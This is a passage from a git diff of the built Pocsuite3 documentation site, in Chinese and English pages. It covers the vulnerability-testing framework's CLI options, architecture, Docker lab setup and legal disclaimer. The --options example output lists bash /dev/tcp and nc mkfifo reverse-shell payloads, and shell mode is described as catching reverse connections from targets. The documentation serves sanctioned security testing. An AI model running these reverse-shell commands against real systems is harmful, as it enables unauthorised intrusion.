HTTP \u8BF7\u6C42\u7684 User-Agent \u8BBE\u7F6E\uFF0C\u9ED8\u8BA4\u4E3A\u968F\u673A\u3002

-http-debug

HTTP \u7684 Debug \u4FE1\u606F\uFF0C\u9ED8\u8BA4\u7B49\u7EA7\u4E3A 0

--session-reuse

\u542F\u7528 session \u91CD\u7528

--session-reuse-num

session \u91CD\u7528\u6570\u91CF

\u5176\u4ED6\u7F51\u7EDC\u8BF7\u6C42\u63A7\u5236\u9009\u9879\u8FD8\u6709\uFF1A--cookie\u3001--host\u3001--referer\u3001--retry\u3001--delay\u3001--headers\uFF0C\u6B64\u5904\u4E0D\u518D\u4E00\u4E00\u8D58\u8FF0\u3002

DNSLog \u670D\u52A1

--ceye-token

\u901A\u8FC7 CEye API \u8F85\u52A9\u9A8C\u8BC1\u76F2\u6253 HTTP/DNS \u8BF7\u6C42\u3002

\u9996\u6B21\u4F7F\u7528\u4F1A\u63D0\u793A\u8F93\u5165 CEye API key\uFF0C\u9A8C\u8BC1\u53EF\u7528\u540E\u4F1A\u4FDD\u5B58\u5230 $HOME/.pocsuiterc \u6587\u4EF6\u4E2D\uFF0C\u9664\u975E token \u8FC7\u671F\uFF0C\u4E0B\u6B21\u4F7F\u7528\u4E0D\u4F1A\u91CD\u590D\u8BE2\u95EE\uFF0C\u4E5F\u53EF\u4F7F\u7528 --ceye-token \u53C2\u6570\u63D0\u4F9B\u3002

--oob-server / --oob-token

\u901A\u8FC7 Interactsh API \u8F85\u52A9\u9A8C\u8BC1\u76F2\u6253 HTTP/DNS \u8BF7\u6C42\u3002

Interactsh \u662F\u77E5\u540D\u5F00\u6E90\u8F6F\u4EF6\u7EC4\u7EC7 projectdiscovery \u5F00\u53D1\u7684\u4E00\u6B3E DNSLog \u5DE5\u5177\uFF0C\u548C CEye \u7C7B\u4F3C\u3002Pocsuite3 \u4ECE 1.8.8 \u7248\u672C\u5F00\u59CB\u96C6\u6210\u4E86 interactsh\uFF0C\u7ED9\u7528\u6237\u66F4\u591A\u9009\u62E9\u3002

\u901A\u8FC7 --oob-server \u53EF\u6307\u5B9A\u81EA\u5B9A\u4E49\u7684 Interactsh \u670D\u52A1\u5668\u5730\u5740\uFF0C\u9ED8\u8BA4\u4E3A interact.sh\uFF0C\u5982\u679C\u9700\u8981\u8BA4\u8BC1\uFF0C\u53EF\u901A\u8FC7\u53C2\u6570 --oob-token \u63D0\u4F9B\u3002

Docker \u63A7\u5236

\u5728 v2.0.6 \u7248\u672C\u4E2D\u5F15\u5165\u4E86 Docker \u6F0F\u6D1E\u73AF\u5883\u642D\u5EFA\uFF0C\u5177\u4F53\u5B9E\u73B0\u65B9\u6CD5\u4E3A\uFF1A\u5728 PoC \u6DFB\u52A0 dockerfile \u5B57\u6BB5

class DemoPOC(POCBase):
+    vulID = ''  # ssvid
+    version = '1.0'
+    author = ['']
+    vulDate = '2029-5-8'
+    createDate = '2019-5-8'
+    updateDate = '2019-5-8'
+    references = ['']
+    name = 'Struts2 045 RCE CVE-2017'
+    appPowerLink = ''
+    appName = 'struts2'
+    appVersion = ''
+    vulType = ''
+    desc = '''S2-045:\u5F71\u54CD\u7248\u672CStruts 2.3.20-2.3.28(\u9664\u4E862.3.20.3\u548C2.3.24.3)'''
+    samples = []
+    category = POC_CATEGORY.EXPLOITS.WEBAPP
+    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
+

--docker-start

\u6307\u5B9A\u8BE5\u53C2\u6570\u4F1A\u4ECE PoC \u4E2D\u83B7\u53D6 Dockerfile \u5E76\u6784\u5EFA\u5BB9\u5668

--docker-port

\u7AEF\u53E3\u6620\u5C04\uFF0C\u4E0E Docker \u5B98\u65B9\u63D0\u4F9B\u7684\u6620\u5C04\u4E00\u6837\uFF0C--docker-port 8080:8080

--docker-volume

\u6302\u8F7D host \u6587\u4EF6\uFF0C\u4F7F\u7528\u65B9\u6CD5\u4E3A\uFF1A--docker-volume /host/file:/container/file

--docker-env

\u8BBE\u7F6E\u5BB9\u5668\u7684\u73AF\u5883\u53D8\u91CF\uFF0C\u4F7F\u7528\u65B9\u6CD5\u4E3A --docker-env NAME=VALUE

--docker-only

\u53EA\u542F\u52A8 Docker \u73AF\u5883\u4E0D\u5B9E\u7528 PoC \u8FDB\u884C\u9A8C\u8BC1\u3002

Web Hook

\u626B\u63CF\u5B8C\u6210\u4F7F\u7528 \u9489\u9489 \u548C \u4F01\u4E1A\u5FAE\u4FE1 \u8FDB\u884C\u901A\u77E5

--dingtalk-token

\u9489\u9489\u7684 token

--dingtalk-secret

\u9489\u9489\u7684 secret

--wx-work-key

\u4F01\u4E1A\u5FAE\u4FE1\u7684 Web Hook key

\u81EA\u5B9A\u4E49\u7684\u53C2\u6570

--options

\u6709\u7684 PoC \u811A\u672C\u9700\u8981\u586B\u5199\u767B\u5F55\u4FE1\u606F\uFF0C\u6216\u8005\u4EFB\u610F\u547D\u4EE4\u6267\u884C\u65F6\u6267\u884C\u7528\u6237\u6307\u5B9A\u7684\u547D\u4EE4\u3002\u53EF\u5728 PoC \u4E2D\u81EA\u5B9A\u4E49\u53C2\u6570\uFF0C\u53EF\u53C2\u89C1\uFF1A\u53EF\u81EA\u5B9A\u4E49\u53C2\u6570\u7684 PoC

\u4F7F\u7528 --optioins \u53C2\u6570\u53EF\u4EE5\u5F88\u65B9\u4FBF\u7684\u67E5\u770B\u67D0 PoC \u7684\u81EA\u5B9A\u4E49\u53C2\u6570\u4FE1\u606F\uFF0C\u5982\u4E0B\uFF1A

pocsuite -k ecshop --options
+
+[17:27:24] [INFO] loading PoC script '**/lib/python3.9/site-packages/pocsuite3-1.9.6-py3.9.egg/pocsuite3/pocs/ecshop_rce.py'
+
+Module (pocs_ecshop_rce) options:
++-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
+|     Name    |             Current settings             |  Type  |                               Description                                |
++-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
+|   command   |                  whoami                  | String |                             \u653B\u51FB\u65F6\u81EA\u5B9A\u4E49\u547D\u4EE4                             |
+| app_version |                   Auto                   | Select |                           \u76EE\u6807\u7248\u672C\uFF0C\u53EF\u81EA\u52A8\u5339\u914D                           |
+|   payload   | bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1' |  Dict  | nc:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f |
+|             |                                          |        |              bash:bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1'               |
+|             |                                          |        |                                                                          |
+|             |                                          |        |          You can select dict_keys(['nc', 'bash']) ,default:bash          |
++-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
+
+[*] shutting down at 17:27:24
+

\u7ED3\u679C\u6C47\u603B

-v / --ppt

\u63A7\u5236\u53F0\u65E5\u5FD7\u83B7\u53D6\u7ED3\u679C\uFF0C-v \u7528\u4E8E\u63A7\u5236\u65E5\u5FD7\u7B49\u7EA7\uFF0C--ppt \u53EF\u4EE5\u5C06 IP \u5730\u5740\u9A6C\u8D5B\u514B\u5904\u7406\uFF0C\u65B9\u4FBF\u5F55\u5C4F\u3002

pocsuite -k ecshop -u 127.0.0.1 -v 2 --ppt
+...
+[17:47:51] [INFO] loading PoC script 'pocsuite3/pocs/ecshop_rce.py'
+[17:47:51] [INFO] pocsusite got a total of 1 tasks
+[17:47:51] [DEBUG] pocsuite will open 1 threads
+[17:47:51] [INFO] running poc:'Ecshop 2.x/3.x Remote Code Execution' target '*.*.0.1'
+[17:47:54] [INFO] Scan completed,ready to print
+
++------------+--------------------------------------+--------+-----------+---------+--------+
+| target-url |               poc-name               | poc-id | component | version | status |
++------------+--------------------------------------+--------+-----------+---------+--------+
+| *.*.0.1    | Ecshop 2.x/3.x Remote Code Execution | 97343  |   ECSHOP  | 2.x,3.x | failed |
++------------+--------------------------------------+--------+-----------+---------+--------+
+success : 0 / 1
+...
+
+

-o / --output

\u5C06\u7ED3\u679C\u4FDD\u5B58\u4E3A JSON Lines \u683C\u5F0F\u6587\u4EF6\u3002

\u5176\u4ED6

--update

\u68C0\u67E5\u4E0A\u6E38\u6700\u65B0\u7248\u672C\u3002

\u279C pocsuite --update
+
+,------.                        ,--. ,--.       ,----.   {1.9.6-706acc1}
+|  .--. ',---. ,---.,---.,--.,--\`--,-'  '-.,---.'.-.  |
+|  '--' | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. : .' <
+|  | --'' '-' \\ \`--.-'  \`'  ''  |  | |  | \\   --/'-'  |
+\`--'     \`---' \`---\`----' \`----'\`--' \`--'  \`----\`----'   https://pocsuite.org
+[*] starting at 20:18:19
+
+[20:18:19] [INFO] Checking the latest version number of pocsuite3 on pypi
+[20:18:19] [INFO] Current upstream version: 1.9.6
+...
+

--version

\u8F93\u51FA\u5F53\u524D\u5B89\u88C5\u7684 Pocsuite3 \u7684\u7248\u672C\u3002

-n / --new

\u751F\u6210 PoC \u6A21\u7248\uFF0C\u53EF\u53C2\u8003\uFF1A\u5B9E\u6218 PoC \u5F00\u53D1

-c

\u901A\u8FC7\u914D\u7F6E\u6587\u4EF6\u63D0\u4F9B\u6240\u6709\u53C2\u6570\uFF0C\u683C\u5F0F\u53EF\u89C1\uFF1Apocsuite.ini \u914D\u7F6E\u6587\u4EF6\u53C2\u6570\u8BF4\u660E

--plugins

\u52A0\u8F7D\u6267\u884C\u81EA\u5B9A\u4E49\u7684\u63D2\u4EF6\uFF0C\u8BE6\u60C5\u53EF\u89C1\uFF1A\u63D2\u4EF6\u7F16\u5199

--rule / --rule-req / --rule-filename

\u5BFC\u51FA PoC \u811A\u672C\u4E2D\u7684 suricata \u89C4\u5219\uFF08\u9700\u8981\u5728 PoC \u5C5E\u6027\u4E2D\u5B9A\u4E49 suricata_request\u3001suricata_respons\uFF09\u3002

--no-check

\u7981\u7528 URL HTTP/HTTPS \u534F\u8BAE\u81EA\u52A8\u7EA0\u6B63\u548C\u871C\u7F50\u68C0\u67E5\u3002

`,144),t=[c];function r(D,y,C,d,A,i){return p(),o("div",null,t)}var k=n(l,[["render",r]]);export{u as __pageData,k as default}; diff --git a/assets/guide_parameter-pocsuite.md.ad7d3ac0.lean.js b/assets/guide_parameter-pocsuite.md.ad7d3ac0.lean.js new file mode 100644 index 00000000..98067471 --- /dev/null +++ b/assets/guide_parameter-pocsuite.md.ad7d3ac0.lean.js @@ -0,0 +1 @@ +import{_ as s,a}from"./chunks/parameter-pcap-traffic.32a66c33.js";import{_ as n,j as o,g as p,H as e}from"./chunks/framework.8815fd6f.js";const u=JSON.parse('{"title":"pocsuite \u547D\u4EE4\u884C\u53C2\u6570\u8BF4\u660E","description":"","frontmatter":{},"headers":[{"level":2,"title":"\u76EE\u6807\u52A0\u8F7D","slug":"\u76EE\u6807\u52A0\u8F7D"},{"level":2,"title":"PoC \u811A\u672C\u52A0\u8F7D","slug":"poc-\u811A\u672C\u52A0\u8F7D"},{"level":2,"title":"\u8FD0\u884C\u63A7\u5236","slug":"\u8FD0\u884C\u63A7\u5236"},{"level":2,"title":"\u7F51\u7EDC\u63A7\u5236","slug":"\u7F51\u7EDC\u63A7\u5236"},{"level":2,"title":"DNSLog \u670D\u52A1","slug":"dnslog-\u670D\u52A1"},{"level":2,"title":"Docker \u63A7\u5236","slug":"docker-\u63A7\u5236"},{"level":2,"title":"Web Hook","slug":"web-hook"},{"level":2,"title":"\u81EA\u5B9A\u4E49\u7684\u53C2\u6570","slug":"\u81EA\u5B9A\u4E49\u7684\u53C2\u6570"},{"level":2,"title":"\u7ED3\u679C\u6C47\u603B","slug":"\u7ED3\u679C\u6C47\u603B"},{"level":2,"title":"\u5176\u4ED6","slug":"\u5176\u4ED6"}],"relativePath":"guide/parameter-pocsuite.md","lastUpdated":1679524720000}'),l={name:"guide/parameter-pocsuite.md"},c=e("",144),t=[c];function r(D,y,C,d,A,i){return p(),o("div",null,t)}var k=n(l,[["render",r]]);export{u as __pageData,k as default}; diff --git a/en/guide/QA.html b/en/guide/QA.html index 202fbef1..0fa83cdd 100644 --- a/en/guide/QA.html +++ b/en/guide/QA.html @@ -8,14 +8,14 @@ - + - - - + + + \ No newline at end of file diff --git a/en/guide/architecture.html b/en/guide/architecture.html index 31c716ae..14dfd8f6 100644 --- a/en/guide/architecture.html +++ b/en/guide/architecture.html @@ -8,14 +8,14 @@ - + -
Pocsuite3

English
简体中文

English
简体中文

Appearance

Return to top
On this page

Brief analysis of Architecture

In order to use it more smoothly, it is necessary to understand the architecture of the framework. On the whole, this framework mainly includes four parts: target loading, PoC script loading, multithread detection and results summary. As shown in the following figure:

Target loading

First, let's take a look at target loading. Currently, the following methods are supported:

  • -u specify a single URL or CIDR, which supports IPv4 / IPv6. Using the -p parameter can provide additional ports, and it is convenient to detect a whole network of adjacent hosts.
  • -f specify a file (save multiple URL/CIDRs to a file, one per line).
  • --dork, the framework integrates common cyberspace search engines such as ZoomEye, Shodan and so on. It can automatically import targets by providing search keywords and API-KEY with corresponding parameters. It is worth mentioning that users can also put search keywords into the dork attribute of the PoC script.
  • --plugins call the plugin to load the target, such as target_from_redis. Users can also customize the TARGETS plugin.

PoC script loading

  • The -r option supports specifying one or more PoC filepaths (or directories). If a directory is provided, the framework will traverse the directory and then load all qualified PoCs. Users can use the -k option to specify keywords to filter PoCs, such as component name, CVE number, etc. If we confirm the target component, we can use the -k option to find all the corresponding PoCs for batch testing of the target. If only the -k option is provided, -r defaults to the pocsuite3/pocs directory that comes with Pocsuite3.
  • --plugins call the plugin to load PoC, such as poc_from_seebug、poc_from_redis. Users can also customize POCS plugins.

Multithread detection

After the user specifies the target and PoC, the framework will match each target and PoC (Cartesian product), generate a queue with element (target, poc_module), and then start a thread pool with the default size of 150 (can be set through --threads) to process this queue.

In Pocsuite3, the PoC script has three running modes, corresponding to the three methods defined in the PoC respectively. The command line parameters --verify, --attack, --shell can be used to determine which method to execute. If not specified, the default is --verify.

What a thread needs to do is to initialize the PoC script with target as the parameter, execute the specified method, and then obtain the execution result.

Results summary

After obtaining the execution results in the previous step, the framework provides a variety of methods to process and save the results.

  • Console log, -v parameter controls the log level, --ppt parameter can hide ip address, which is convenient for screen recording.
  • -o parameter saves the result as a file in JSON Lines format.
  • --plugins calls the plugin to process the results, such as file_record，html_report. Users can also customize the RESULTS plugin.

Released under the GPLv2 License.

Copyright © 2014-present Knownsec 404 Team

- - +
Pocsuite3

English
简体中文

English
简体中文

Appearance

Return to top
On this page

Brief analysis of Architecture

In order to use it more smoothly, it is necessary to understand the architecture of the framework. On the whole, this framework mainly includes four parts: target loading, PoC script loading, multithread detection and results summary. As shown in the following figure:

Target loading

First, let's take a look at target loading. Currently, the following methods are supported:

  • -u specify a single URL or CIDR, which supports IPv4 / IPv6. Using the -p parameter can provide additional ports, and it is convenient to detect a whole network of adjacent hosts.
  • -f specify a file (save multiple URL/CIDRs to a file, one per line).
  • --dork, the framework integrates common cyberspace search engines such as ZoomEye, Shodan and so on. It can automatically import targets by providing search keywords and API-KEY with corresponding parameters. It is worth mentioning that users can also put search keywords into the dork attribute of the PoC script.
  • --plugins call the plugin to load the target, such as target_from_redis. Users can also customize the TARGETS plugin.

PoC script loading

  • The -r option supports specifying one or more PoC filepaths (or directories). If a directory is provided, the framework will traverse the directory and then load all qualified PoCs. Users can use the -k option to specify keywords to filter PoCs, such as component name, CVE number, etc. If we confirm the target component, we can use the -k option to find all the corresponding PoCs for batch testing of the target. If only the -k option is provided, -r defaults to the pocsuite3/pocs directory that comes with Pocsuite3.
  • --plugins call the plugin to load PoC, such as poc_from_seebug、poc_from_redis. Users can also customize POCS plugins.

Multithread detection

After the user specifies the target and PoC, the framework will match each target and PoC (Cartesian product), generate a queue with element (target, poc_module), and then start a thread pool with the default size of 150 (can be set through --threads) to process this queue.

In Pocsuite3, the PoC script has three running modes, corresponding to the three methods defined in the PoC respectively. The command line parameters --verify, --attack, --shell can be used to determine which method to execute. If not specified, the default is --verify.

What a thread needs to do is to initialize the PoC script with target as the parameter, execute the specified method, and then obtain the execution result.

Results summary

After obtaining the execution results in the previous step, the framework provides a variety of methods to process and save the results.

  • Console log, -v parameter controls the log level, --ppt parameter can hide ip address, which is convenient for screen recording.
  • -o parameter saves the result as a file in JSON Lines format.
  • --plugins calls the plugin to process the results, such as file_record，html_report. Users can also customize the RESULTS plugin.

Released under the GPLv2 License.

Copyright © 2014-present Knownsec 404 Team

+ + \ No newline at end of file diff --git a/en/guide/copyright-notice.html b/en/guide/copyright-notice.html index 38ea18e5..b3dcc0e0 100644 --- a/en/guide/copyright-notice.html +++ b/en/guide/copyright-notice.html @@ -8,12 +8,12 @@ - + -
Pocsuite3

English
简体中文

English
简体中文

Appearance

Return to top 
Pocsuite3 is (C) 2014-present Knownsec 404 Team (404-team@knownsec.com)
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Pocsuite3 is (C) 2014-present Knownsec 404 Team (404-team@knownsec.com)
 
 This program is free software; you may redistribute and/or modify it under
 the terms of the GNU General Public License as published by the Free
@@ -309,8 +309,8 @@
 
 ****************************************************************************
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/especial.html b/en/guide/especial.html
index 2d70af39..665b067f 100644
--- a/en/guide/especial.html
+++ b/en/guide/especial.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
-    
-    
+    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/exploit-db.html b/en/guide/exploit-db.html
index e8c565ad..e4777a50 100644
--- a/en/guide/exploit-db.html
+++ b/en/guide/exploit-db.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Public vulnerability Database 
Seebug 
Seebug is an open vulnerability platform based on vulnerability and PoC/Exp sharing communities. So far, it already has 50,000+ vulnerabilities and 40,000+ PoC/Exps.
Seebug provides an opportunity for vulnerability learning. On this platform, users can submit new vulnerabilities or update information of existing ones that are lacking of details such as summaries, PoC/Exps, solutions, CVE-ID and other basic fields.
Official website: https://www.seebug.org
ExploitDB 
The Exploit Database is a CVE compliant archive of public exploits and corresponding vulnerable software, developed for use by penetration testers and vulnerability researchers. Our aim is to serve the most comprehensive collection of exploits gathered through direct submissions, mailing lists, as well as other public sources, and present them in a freely-available and easy-to-navigate database. The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away.
Official website: https://www.exploit-db.com
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Public vulnerability Database 
Seebug 
Seebug is an open vulnerability platform based on vulnerability and PoC/Exp sharing communities. So far, it already has 50,000+ vulnerabilities and 40,000+ PoC/Exps.
Seebug provides an opportunity for vulnerability learning. On this platform, users can submit new vulnerabilities or update information of existing ones that are lacking of details such as summaries, PoC/Exps, solutions, CVE-ID and other basic fields.
Official website: https://www.seebug.org
ExploitDB 
The Exploit Database is a CVE compliant archive of public exploits and corresponding vulnerable software, developed for use by penetration testers and vulnerability researchers. Our aim is to serve the most comprehensive collection of exploits gathered through direct submissions, mailing lists, as well as other public sources, and present them in a freely-available and easy-to-navigate database. The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away.
Official website: https://www.exploit-db.com
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/install.html b/en/guide/install.html
index 22a6a461..3c92c0cb 100644
--- a/en/guide/install.html
+++ b/en/guide/install.html
@@ -9,12 +9,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Installation 
Developed based on Python3, Pocsuite3 can run on any platform that supports Python 3.7+, such as Linux, Windows, MacOS, BSD, etc.
In November 2021, Pocsuite3 passed the official Debian code and compliance inspection, and officially joined the software repository of Debian, Ubuntu, Kali and other Linux distributions, which can be obtained with apt command. In addition, Pocsuite3 has also been pushed to Python PyPI, homebrew repository of MacOS, AUR repository of archlinux, and dockerhub.
Install using Python3 pip 
pip3 install pocsuite3
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Installation 
Developed based on Python3, Pocsuite3 can run on any platform that supports Python 3.7+, such as Linux, Windows, MacOS, BSD, etc.
In November 2021, Pocsuite3 passed the official Debian code and compliance inspection, and officially joined the software repository of Debian, Ubuntu, Kali and other Linux distributions, which can be obtained with apt command. In addition, Pocsuite3 has also been pushed to Python PyPI, homebrew repository of MacOS, AUR repository of archlinux, and dockerhub.
Install using Python3 pip 
pip3 install pocsuite3
 
Install on MacOS 
brew update
 brew info pocsuite3
 brew install pocsuite3
@@ -28,8 +28,8 @@
 pip3 install -r requirements.txt
 python3 setup.py install
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/legal-disclaimer.html b/en/guide/legal-disclaimer.html
index 91d905e0..9b9a8925 100644
--- a/en/guide/legal-disclaimer.html
+++ b/en/guide/legal-disclaimer.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
法律免责声明 
DANGER
未经事先双方同意，使用 Pocsuite3 攻击目标是非法的。 Pocsuite3 仅用于安全测试目的，请遵守《网络安全法》。
DANGER
Usage of Pocsuite3 for attacking targets without prior mutual consent is illegal. Pocsuite3 is for security testing purposes only, please obey the law.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
法律免责声明 
DANGER
未经事先双方同意，使用 Pocsuite3 攻击目标是非法的。 Pocsuite3 仅用于安全测试目的，请遵守《网络安全法》。
DANGER
Usage of Pocsuite3 for attacking targets without prior mutual consent is illegal. Pocsuite3 is for security testing purposes only, please obey the law.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/literature.html b/en/guide/literature.html
index e4b18c74..cbed551a 100644
--- a/en/guide/literature.html
+++ b/en/guide/literature.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
-    
-    
+    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/parameter-integration.html b/en/guide/parameter-integration.html
index b10e96f9..e5af0c81 100644
--- a/en/guide/parameter-integration.html
+++ b/en/guide/parameter-integration.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Python Module Parameters 
For config configuration information, please refer to: pocsuite.ini Configuration
from pocsuite3.api import init_pocsuite
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Python Module Parameters 
For config configuration information, please refer to: pocsuite.ini Configuration
from pocsuite3.api import init_pocsuite
 from pocsuite3.api import start_pocsuite
 from pocsuite3.api import get_results
 
@@ -29,8 +29,8 @@
     result = get_results()
 
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/parameter-poc-console.html b/en/guide/parameter-poc-console.html
index 0554603a..dd0f9975 100644
--- a/en/guide/parameter-poc-console.html
+++ b/en/guide/parameter-poc-console.html
@@ -9,14 +9,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Console Mode Parameters 
In the console mode, you can use the help command to view the help, list or show all to list all PoC modules, use to load a specified module, and parameters can be set by the set / setg command.
as follows:
It is worth mentioning that system commands can also be executed in the console mode.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Console Mode Parameters 
In the console mode, you can use the help command to view the help, list or show all to list all PoC modules, use to load a specified module, and parameters can be set by the set / setg command.
as follows:
It is worth mentioning that system commands can also be executed in the console mode.
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/en/guide/parameter-pocsuite.html b/en/guide/parameter-pocsuite.html
index 34719b84..fdfe8865 100644
--- a/en/guide/parameter-pocsuite.html
+++ b/en/guide/parameter-pocsuite.html
@@ -8,13 +8,13 @@
     
     
     
-    
-    
+    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
CLI Mode Parameters 
You can also refer to "Architecture Analysis", in which most of the important parameters are marked.
Target Loading 
-u / --url 
Load a single URL or CIDR, support IPv4/IPv6.
pocsuite -r poc.py -u https://example.com
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
CLI Mode Parameters 
You can also refer to "Architecture Analysis", in which most of the important parameters are marked.
Target Loading 
-u / --url 
Load a single URL or CIDR, support IPv4/IPv6.
pocsuite -r poc.py -u https://example.com
 pocsuite -r poc.py -u fd12:3456:789a:1::/120
 pocsuite -r poc.py -u 172.16.218.1/24
 pocsuite -r poc.py -u "https://[fd12:3456:789a:1::f0]:8443/test"
@@ -108,7 +108,24 @@
 pocsuite --ssv-id 89715
 
 
Running Control 
--threads 
Thread pool size, default is Min(150, "total target").
--pcap 
Using the --pcap parameter when running a PoC, you can save the traffic as a pcap file.
Open the file with wireshark for traffic analysis.
--verify 
Verify mode, execute the _verify() method of the PoC script to verify the vulnerability.
--attack 
Attack mode, execute the _attack() method of the PoC script. The exact behavior depends on the implementation of the method.
--shell / --lhost / --lport / --tls 
Shell mode, execute the _shell() method of the PoC script, and the console will enter the shell interactive mode to execute commands and obtain output.
Pocsuite3 will listenning the 6666 port of the local machine by default in shell mode (can be modified by --lhost, --lport), write the corresponding code, and let the target perform a reverse connection to get a shell.
If you want to enable a TLS listener (such as openssl reverse shell), use the --tls parameter.
TIP
In the PoC script, the implementation of attack mode and shell mode is optional. If the running mode is not specified, the default is verify.
Network Control 
--proxy / --proxy-cred 
Global HTTP/HTTPS/SOCKS proxy, the supported protocol types are: http, https, socks4, socks5, socks5h.
pocsuite -r poc.py -u https://www.baidu.com --proxy socks5://127.0.0.1:9150
-
If the proxy requires authentication, it can be provided with the parameter --proxy-cred name:password.
--timeout 
Global timeout setting, default is 10s. It should be noted that if a request itself sets a timeout, the request itself will prevail and will not be overwritten.
--user-agent 
User-Agent setting for HTTP requests, default is random.
Other network request control options are: --cookie, --host, --referer, --retry, --delay, --headers.
OOB Service 
--ceye-token 
Detecting out-of-band interactions through CEeye API.
The first time you use it, you will be prompted to enter CEye API key. It will be saved to the $HOME/.pocsuiterc file. unless the token expires, the next time you use it, it will not be asked again, and it can also be provided with the --ceye-token parameter.
--oob-server / --oob-token 
Detecting out-of-band interactions through Interactsh API.
Interactsh is an open-source tool for detecting out-of-band interactions. It developed by projectdiscovery, a well-known open source software organization.
Pocsuite3 has integrated interactsh since version 1.8.8, giving users more choices.
A custom Interactsh server address can be specified through --oob-server, the default is interact.sh. If authentication is required, it can be provided through the parameter --oob-token.
Custom Parameters 
--options 
Some PoC scripts need to fill in login information, or execute user-specified commands. Parameters can be customized in PoC, see: PoC With Customizable Parameters
Use the --options parameter to view the custom parameters defined by the PoC:
pocsuite -k ecshop --options
+
If the proxy requires authentication, it can be provided with the parameter --proxy-cred name:password.
--timeout 
Global timeout setting, default is 10s. It should be noted that if a request itself sets a timeout, the request itself will prevail and will not be overwritten.
--user-agent 
User-Agent setting for HTTP requests, default is random.
-http-debug 
HTTP Debug information，default level is 0, level range 0-5.
--session-reuse 
Enable requests session reuse
--session-reuse-num 
Requests session reuse number
Other network request control options are: --cookie, --host, --referer, --retry, --delay, --headers.
OOB Service 
--ceye-token 
Detecting out-of-band interactions through CEeye API.
The first time you use it, you will be prompted to enter CEye API key. It will be saved to the $HOME/.pocsuiterc file. unless the token expires, the next time you use it, it will not be asked again, and it can also be provided with the --ceye-token parameter.
--oob-server / --oob-token 
Detecting out-of-band interactions through Interactsh API.
Interactsh is an open-source tool for detecting out-of-band interactions. It developed by projectdiscovery, a well-known open source software organization.
Pocsuite3 has integrated interactsh since version 1.8.8, giving users more choices.
A custom Interactsh server address can be specified through --oob-server, the default is interact.sh. If authentication is required, it can be provided through the parameter --oob-token.
Docker Environment 
Docker vulnerability environment construction was introduced in v2.0.6. The specific implementation method is: add the dockerfile field in the PoC
class DemoPOC(POCBase):
+    vulID = ''  # ssvid
+    version = '1.0'
+    author = ['']
+    vulDate = '2029-5-8'
+    createDate = '2019-5-8'
+    updateDate = '2019-5-8'
+    references = ['']
+    name = 'Struts2 045 RCE CVE-2017'
+    appPowerLink = ''
+    appName = 'struts2'
+    appVersion = ''
+    vulType = ''
+    desc = '''S2-045:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)'''
+    samples = []
+    category = POC_CATEGORY.EXPLOITS.WEBAPP
+    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
+
--docker-start 
Run Docker for PoC
--docker-port 
Publish a container's port(s) to the host,format: --docker-port 8080:8080
--docker-volume 
Bind mount a volume, format: --docker-volume /host/file:/container/file
--docker-env 
Set environment variables,format: --docker-env NAME=VALUE
--docker-only 
Only run docker environment
Web Hook 
Use DingTalk and WeCom to notify when the scan is completed
--dingtalk-token 
DingTalk token
--dingtalk-secret 
DingTalk secret
--wx-work-key 
WeCom Web hook key
Custom Parameters 
--options 
